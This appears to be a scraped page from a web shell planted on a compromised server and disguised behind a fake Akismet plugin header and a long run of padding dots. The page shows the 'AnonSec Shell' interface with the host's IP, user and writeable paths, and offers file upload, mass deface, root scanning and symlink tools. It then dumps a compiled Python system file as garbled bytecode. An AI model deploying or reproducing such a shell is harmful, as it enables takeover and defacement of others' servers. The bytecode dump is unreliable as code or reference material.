#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager/utils.pyc
�
L��ec@`s	ddlmZmZmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlmZddlmZddlZddlmZddlmZddlmZddlmZdd	lmZdd
lm Z ddl!Zddlm"Z"m#Z#ddl$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*dd
l+m,Z-ej.e/�Z0ddgZ1dej2fd��YZ3dd�Z5d�Z6d�Z7d�Z8de9fd��YZ:d�Z;ddd�Z<dddd�Z=ddd�Z>d�Z?d�Z@d�ZAeBd�ZCd �ZDd!�ZEd"�ZFejGd#�ZHd$�ZId%eJfd&��YZKd'eKfd(��YZLd)eLfd*��YZMd+�ZNd,�d-�ZOd.�ZPd/�ZQd0�ZRdS(1i(tprint_functiontdivisiontabsolute_importN(turllib(tssl(tget_branding(tPath(tClassicCheck(t	injection(t	parse_url(tProxyException(tRestlibExceptiont
GoneException(tDEFAULT_PORTtDEFAULT_PREFIXtDEFAULT_HOSTNAMEtDEFAULT_CDN_HOSTNAMEtDEFAULT_CDN_PORTtDEFAULT_CDN_PREFIX(tugettexts/var/run/virt-who.pids/run/virt-who.pidtDefaultDictcB`s eZdZd�Zd�ZRS(s&defaultdict wrapper that pretty printscC`s
t|�S(N(tdict(tself((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytas_dict>scC`stj|j��S(N(tpprinttpformatR(R((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyt__repr__As(t__name__t
__module__t__doc__RR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR;s	cC`std}d}d}|dk	rK|dd}|dd}|dd}nt||pZt|pct|plt�dS(Nttserverthostnametporttprefixi(tNoneR	RR
R(tlocal_server_entrytconfigR R!R"((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytparse_server_infoEs		cC`st|ttt�dS(Ni(R	RRR(R$((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytparse_baseurl_infoSscC`sg|r#|ddkr#d|}n|tkr<|d }n|tkrVd||fSd|||fS(Nit/s/%si����shttps://%s%sshttps://%s:%s%s(RR(R R!R"((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytformat_baseurlZs

cC`s�t|�dkr|Sd|kr&|S|rI|jd�rI|d}n|rp|jd�rp|jd�}ntjj||�SdS(s�Join a baseurl (hostname) and url (full or relpath).

    If url is a full url, just return it. Otherwise combine
    it with base, skipping redundant seperators if needed.is://R(N(tlentendswitht
startswithtlstripRtparseturljoin(tbaseturl((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyt
url_base_joinos
tMissingCaCertExceptioncB`seZRS((RR(((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR3�scC`s�y|j�tSWn�tk
rK}|jdkr7tStj|�tSnUtjk
rl}t	|��n4t
k
r�n!tk
r�}tj|�tSXdS(s�
    Check if we can communicate with a subscription service at the given
    location.

    Returns true or false.

    May throw a MissingCaCertException if the CA certificate has not been
    imported yet, which may be relevant to the caller.
    i�N(tpingtTrueRtcodetlogt	exceptiontFalseRtSSLErrorR3R
t	Exception(tconnte((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytis_valid_server_info�s




cC`s\|dkr!tjtj�}n|jdkr4tStjtj�jd|�}|dkS(s�
    This function returns True, when current owner uses contentAccessMode equal to Simple Content Access.
    This function has three optional arguments that can be reused for getting required information.
    :param uep: connection to candlepin server
    :param identity: reference on current identity
    :return: True, when current owner uses contentAccesMode equal to org_environment. False otherwise.
    tueptorg_environmentN(R#tinjtrequiretIDENTITYtuuidR9tCONTENT_ACCESS_MODE_CACHEt	read_data(R?tidentitytcontent_access_mode((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytis_simple_content_access�scC`s�|dkr!tjtj�}n|dkrNtjtj�}|j�}n|dkr�y|j|j�}Wq�tk
r�}t	j
dt|��tSXnd|kr�|dSdS(s�
    Return the content access mode of the current owner
    :param uep: connection to candlepin server
    :param identity: reference on current identity
    :param owner: reference on current owner
    :return:
    sUnable to get owner: %stcontentAccessModeN(
R#RARBRCtCP_PROVIDERtget_consumer_auth_cptgetOwnerRDR;R7tdebugtstrR9(R?RGtownertcp_providerterr((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytget_content_access_mode�scC`si|dk	r.tjtj�}|j||�S|dkr[tjtj�}|j�}n|j�SdS(s�
    This function tries to get list of supported resources. It tries to uses cache file.
    When the system is not registered, then it tries to get version directly using REST API.
    It is preferred to use this function instead of connection.get_supported_resources.
    :param uep: connection of candlepin server
    :param identity: current identity of registered system
    :return: list of supported resources
    N(R#RARBtSUPPORTED_RESOURCES_CACHERFRKRLtget_supported_resources(R?RGtcacheRQ((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyRU�scC`s?|j|�}|j|�}|r1d|}nd||fS(sL
    Return a string containing the version (and release if available).
    s-%ss%s%s(tget_versiontget_release(tversionstpackage_nametpackage_versiontpackage_release((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyRW�s

cC`s�tjj�sdSd}y�d�}|d�pF|d�pF|d�}|s�y8tjtj�tj�}||�}tj|�Wq�t	k
r�q�XnWnt	k
r�nX|r�t
|d�SdSdS(s9
    Attempt to determine the current terminal size.
    cS`seyLddl}ddl}ddl}|jd|j||jd��}Wntk
r`dSX|S(Nithht1234(tfcntltstructttermiostunpacktioctlt
TIOCGWINSZR;(tfdR_R`Ratcr((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytioctl_gwinsz�s		
iiii�N(tsyststdouttisattyR#tostopentctermidtO_RDONLYtcloseR;tint(tdimRgRe((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytget_terminal_width�s$	
$

cC`s�td�}yAtjj}|dks3|dkrLtjd�dj}nWn-tk
r|}tj	d�tj
|�nXi|d6S(NtUnknownR#ssubscription-manageris0Client Versions: Unable to check client versions(t_tsubscription_managertversiontrpm_versionR#t
pkg_resourcesRBR;R7RNR8(t
sm_versionR=((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytget_client_versionss
c	C`s�td�}td�}td�}tjtj�}t�j�ro|j�r`t�j}q�t�j	}n|j�r�t�j
}n|r�ytd|�}d|kr|j�}dj
|jdtd��|jdtd��g�}|jdtd��}nWq�tjk
rZ}tjd	�tj|�|r�tjd	��q�q�tk
r�}t|t�r�tjd
�ntjd|�tj|�td�}q�Xni|d6|d
6|d6S(NRss(This system is currently not registered.R?tstatust-RvtreleasetrulesVersions+Timeout error while checking server versionsQServer Versions: Error: consumer has been deleted, unable to check server versions'Error while checking server version: %st	candlepinsserver-types
rules-version(RtRARBRCRtis_registered_with_classictis_validRtREGISTERED_TO_BOTH_SUMMARYtREGISTERED_TO_OTHER_SUMMARYt-REGISTERED_TO_SUBSCRIPTION_MANAGEMENT_SUMMARYRUt	getStatustjointgettsocketttimeoutR7terrorR8R;t
isinstanceRtwarn(	tcptexception_on_timeoutt
cp_versiontserver_typet
rules_versionRGtsupported_resourcesR{R=((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytget_server_versions.sB


	

cC`sd}x)tD]!}tjj|�r
|}q
q
W|dkrOtjd�dSy;t|d��}t|j	��}WdQXtjd�Wn;t
k
r�tjd�nYtk
r�tjd�n<Xytj
|tj�Wn!tk
rtjd|�nXdS(sP
    Send a SIGHUP signal to virt-who if it is running on the same machine.
    s/No virt-who pid file, not attempting to restartNtrsRestarted virt-whos;Unable to read virt-who pid file, not attempting to restarts/The virt-who pid file contains non numeric datas7The virt-who pid file references a non-existent pid: %s(R#tVIRT_WHO_PID_FILESRktpathtisfileR7RNRlRptreadtIOErrort
ValueErrorR�tkilltsignaltSIGHUPtOSError(tvirt_who_pid_file_namet
pid_file_nametpid_filetpid((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytrestart_virt_who`s&





cC`s�|dkrdSg|D]}|dk	rt|�^q}|sEdSt|�dkr_|dS|dd!}|d}dj|�}t|�dkr�|d}n|dtd	�|S(
NRiii����s, it,s %s tand(R#ROR*R�Rt(titemstxtfirsttlasttfirst_string((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyt
friendly_join�s+


cC`s4t|�j�}|dkp3|dkp3|dkS(Nt1ttruetyes(ROtlower(ttest_stringtval((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyt
is_true_value�scC`s<tjd�tjr(|jd�}ntj||�dS(Nssubscription-managersutf-8(tsyslogtopenlogtsixtPY2tencode(tmessagetpriority((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyt
system_log�s
	cC`s
|t_dS(s#
    Change root of all paths.
    N(RtROOT(tdirname((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytchroot�stCertificateFiltercB`seZd�ZRS(cC`s
t�dS(s�
        Checks if the specified certificate matches this filter's restrictions.
        Returns True if the specified certificate matches this filter's restrictions ; False
        otherwise.
        N(tNotImplementedError(Rtcert((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytmatch�s(RRR�(((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR��stProductCertificateFiltercB`s&eZdd�Zd�Zd�ZRS(cC`s<tt|�j�d|_|dk	r8|j|�ndS(N(tsuperR�t__init__R#t	_fs_regextset_filter_string(Rt
filter_string((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR��s	c
C`shg}g}g}t}idd6dd6}d}|d
k	rUyx^tj||tj�D]D}|j|jd��|jd�rZ|j|jd��qZqZWxm|D]e}	tjdd	|	�}	tj|	�}	|j|	�t	|�r�|j|j
|jd
���q�q�Wtjddj
|�tj�|_t}Wqdtk
rQqdXnd
|_t}|S(s,
        Sets this filter's filter string to the specified string. The filter string may use ? or *
        for wildcards, representing one or any characters, respectively.

        Returns True if the specified filter string was processed and assigned successfully; False
        otherwise.
        s.*t*t.t?u�
            ((?:                # A captured, non-capture group :)
                [^*?\\]*        # Character literals and other uninteresting junk (greedy)
                (?:\\.?)*       # Anything escaped with a backslash, or just a trailing backslash
            )*)                 # Repeat the above sequence 0+ times, greedily
            ([*?]|\Z)           # Any of our wildcards (* or ?) not preceded by a backslash OR end of input
        iis
\\([*?\\])s\1is^%s$RN(R9R#tretfinditertVERBOSEtappendtgrouptsubtescapeR*R�tpoptcompileR�t
IGNORECASER�R5t	TypeError(
RR�tliteralst	wildcardst
translatedtoutputtwildcard_mapt
expressionR�tliteral((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR��s6
	

&%

	cC`sv|jdk	rrx`|jD]R}|jrC|jj|j�dk	sg|jr|jj|j�dk	rtSqWntS(s�
        Checks if the specified certificate matches this filter's restrictions.
        Returns True if the specified certificate matches this filter's restrictions ; False
        otherwise.
        N(R�R#tproductstnameR�tidR5R9(RR�tproduct((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR��s
HN(RRR#R�R�R�(((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR��s	;tEntitlementCertificateFiltercB`s)eZddd�Zd�Zd�ZRS(cC`sBtt|�jd|�d|_|dk	r>|j|�ndS(NR�(R�R�R�R#t
_sl_filtertset_service_level(RR�t
service_level((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR�
s	cC`sOt}|dk	r<yd|j�|_t}WqKqKXnd|_t}|S(s�
        Sets this filter's required service level to the level specified. Service level filters are
        case insensitive.

        Returns True if the service level filter was set successfully; False otherwise.
        RN(R9R#R�R�R5(RR�R�((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR�s
	cC`sKd}|jr*|jjr*|jj}n|jdkpQ|j�|jj�k}|jdkp tt|�j|�p |jj	r�|jj|jj	�dk	p |jj
r�|jj|jj
�dk	p |jjr�|jj|jj�dk	p |jjo |jj|jj�dk	}|oJ|oJ|jdk	pJ|jdk	S(s�
        Checks if the specified certificate matches this filter's restrictions.
        Returns True if the specified certificate matches this filter's restrictions ; False
        otherwise.
        RN(torderR�R�R#R�R�R�R�R�R�tskutcontract(RR�tcert_service_leveltsl_checktfs_check((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR�*s	****N(RRR#R�R�R�(((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyR�	s	cC`s$tjj|�tjjd�dS(s0
    Prints the specified message to stderr
    s
N(Rhtstderrtwrite(R�((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytprint_errorEscC`s|S(N((R�((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyt<lambda>MscC`s\t�}g}xF|D]>}||�}||kr:qq|j|�|j|�qW|S(sl
    Accepts a list of items.
    Returns a list of the unique items in the input.
    Maintains order.
    (tsetR�tadd(tlt
hash_functiontobservedtunique_itemstitemtitem_key((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytunique_list_itemsMs	

cC`sttj��jdd�S(NR|R(RORDtuuid4treplace(((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytgenerate_correlation_id_scc`sVd}xItjd�D]8}tjd|�rtjjtjjd|d�}d}d}z�y%t|�}dj|j	��}Wnit
k
r�}tjdj
d|d	|��wn5tk
r�}tjd
j
d|d	|��wnXWd|dk	r|j�nXtj||�}|rN|j�jd�}|rK|VqKqNqqWdS(
s�
    Returns a list of "Name" values for all processes running on the system.
    This assumes an accessible and standard procfs at "/proc/".
    It will only work on unix-like systems.
    s([Nn][Aa][Mm][Ee]:?[\s]*(?P<proc_name>.*)s/procs[0-9]+tprocR{RsOA process has likely ended before it's status could be read for {subdir} : {ex}tsubdirtexsVUnexpected exception while trying to read process names from /proc for {subdir} : {ex}Nt	proc_name(RktlistdirR�R�R�R�tsepR#Rlt	readlinesR�R7RNtformatR;Rotsearcht	groupdictR�(tproc_name_exprR�tprocess_status_file_pathtstatus_filetlinesR=R�R�((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytget_process_namescs2!cC`s(x!t�D]}||kr
tSq
WtS(s�
    Check if process with given name is running
    :param process_to_find: string with process name
    :return: True, when at least one process is running; Otherwise returns False
    (R	R5R9(tprocess_to_findtprocess_name((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pytis_process_running�s(St
__future__RRRtcollectionstloggingRkRR�RhR�R�R�RDRxt	six.movesRt
rhsm.httpsRR�tsubscription_manager.brandingRt"subscription_manager.certdirectoryRtrhsmlib.facts.hwprobeRRuRRAt
rhsm.utilsR	trhsm.connectionR
tsubscription_manager.versionRRtrhsm.configR
RRRRRtsubscription_manager.i18nRRtt	getLoggerRR7R�tdefaultdictRR#R&R'R)R2R;R3R>RIRSRURWRrRzR9R�R�R�R�t
LOG_NOTICER�R�tobjectR�R�R�R�R�R�R	R(((s@/usr/lib64/python2.7/site-packages/subscription_manager/utils.pyt<module>sj.
				 		'	2	!			
T<			'

Anon7 - 2022
AnonSec Team